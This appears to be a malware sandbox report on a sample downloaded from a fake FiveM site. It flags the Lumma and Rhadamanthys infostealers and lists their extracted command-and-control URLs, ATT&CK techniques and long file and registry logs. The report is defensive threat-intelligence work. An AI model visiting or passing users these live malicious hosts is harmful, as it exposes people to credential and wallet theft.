lumma | hxxps://bebetter-fivem[.]space/download

Resubmissions

12/04/2025, 19:20

250412-x19jdszns510

12/04/2025, 19:18

250412-xz2r6azxby4

Analysis

max time kernel
744s
max time network
745s
platform
windows11-21h2_x64
resource
win11-20250410-en
resource tags

arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
submitted
12/04/2025, 19:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://bebetter-fivem.space/download
Sample250412-x19jdszns5

Score

10^/10

lumma rhadamanthys defense_evasion discovery spyware stealer

Malware Config

Extracted

Family

lumma

https://zealjkh.digital/qpte
https://kjawdedmirror.run/ewqd
https://changeaie.top/geps
https://mlonfgshadow.live/xawi
https://liftally.top/xasj
https://nighetwhisper.top/lekd
https://salaccgfa.top/gsooz
https://5zestmodp.top/zeda
https://owlflright.digital/qopy

Extracted

Family

rhadamanthys

https://185.125.50.38:3034/739bd3e91cd40ca83/pancake.api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4212 created 2560	4212	Loader.exe	41
PID 5580 created 2560	5580	Loader.exe	41

Blocklisted process makes network request 3 IoCs

flow	pid	Process
587	6028	powershell.exe
588	6028	powershell.exe
589	6028	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4444	zhdmslwe.41i0.exe
4212	Loader.exe
5580	Loader.exe
3384	loader_prod.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
575	camo.githubusercontent.com
576	camo.githubusercontent.com
577	camo.githubusercontent.com
587	pastebin.com
589	raw.githubusercontent.com
16	raw.githubusercontent.com
89	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Probable phishing domain 1 TTPs 1 IoCs

Phishing

T1566

description	flow	ioc	stream
HTTP URL	629	https://killdhack.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=92f51e045a92ee3b	5

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe
3384	loader_prod.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4444 set thread context of 5176	4444	zhdmslwe.41i0.exe	173

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\7-Zip\descript.ion	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\be.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\br.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\eu.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ga.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\uz.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\7zFM.exe	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\az.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\kab.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\lv.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mk.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mng2.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pt.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sk.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\License.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\co.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fa.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ne.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sr-spl.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sr-spc.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sv.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tk.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\hi.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\hr.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\uz-cyrl.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\vi.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\yo.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\zh-cn.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\en.ttt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\af.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\History.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\he.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sq.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ug.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\7z.exe	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ca.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\es.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fur.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\nl.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pa-in.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pl.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ru.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\bn.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\cs.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\de.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fy.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\kaa.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ta.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\th.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\readme.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\an.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\da.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fr.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\gl.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ka.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\lt.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mr.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\gu.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\it.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ky.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mng.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tg.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tr.txt	msiexec.exe
File created	C:\Program Files (x86)\7-Zip\Lang\el.txt	msiexec.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-en-us.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-mul-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification-shared\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification-shared\ko\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-sv.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-hub\pl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification\pt-BR\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-nl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-mobile-hub\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-shared-components\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-de-1901.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-ru.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-ec\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-or.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\hub-signature.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-mobile-hub\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification-shared\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-shared-components\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-shared-components\th\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-tokenized-card\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_260579626\_platform_specific\win_x64\widevinecdm.dll.sig	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1895253355\edge_checkout_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-shared-components\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-tokenized-card\ar\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\Wallet-BuyNow\wallet-buynow.html	msedge.exe
File opened for modification	C:\Windows\Installer\MSIABE9.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_824372330\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_644406848\deny_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-cy.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_12911946\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\buynow_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\driver-signature.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification\ru\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification-shared\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_644406848\deny_etld1_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-fr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1895253355\auto_open_controller.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1895253355\shopping_iframe_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-tokenized-card\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\shopping_iframe_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\Wallet-Checkout\app-setup.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\wallet-webui-560.da6c8914bf5007e1044c.chunk.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-gl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-mobile-hub\zh-Hans\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\Notification\notification_fast.html	msedge.exe
File created	C:\Windows\Installer\SourceHash{23170F69-40C1-2701-2401-000001000000}	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-und-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-hub\cs\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-mobile-hub\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification\id\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-hr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-mr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-ec\pt-BR\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification\el\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification\es\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_12911946\Part-ES	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification-shared\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_260579626\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\hyph-tk.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1147140311\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-ec\th\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4420_1727786545\json\i18n-notification-shared\es\strings.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dialer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dialer.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000875cf36cf318fa000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000875cf36c0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900875cf36c000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d875cf36c000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000875cf36c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133889592444882188"	msedge.exe

Modifies registry class 44 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4144164418-4152157973-2926181071-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000\LanguageFiles = "Complete"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4144164418-4152157973-2926181071-1000\{3E18EB5C-98F0-4C98-8A6B-4B6D951E7121}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\*\shellex\ContextMenuHandlers\7-Zip	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\ProductName = "7-Zip 24.01"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\PackageCode = "96F071321C0410724210000020000000"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\PackageName = "7z2401 (3).msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4144164418-4152157973-2926181071-1000\{E2815B18-805D-44D0-B19F-FEC329398106}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4144164418-4152157973-2926181071-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4144164418-4152157973-2926181071-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000\Complete	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Version = "402718720"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Folder\shellex\ContextMenuHandlers\7-Zip	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Directory\shellex\DragDropHandlers\7-Zip	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\96F071321C0410720000000040000000\96F071321C0410724210000010000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Drive\shellex\DragDropHandlers\7-Zip	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files (x86)\\7-Zip\\7-zip.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0410724210000010000000\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0410724210000010000000\Program = "Complete"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\96F071321C0410720000000040000000	msiexec.exe

Modifies system certificate store 2 TTPs 3 IoCs

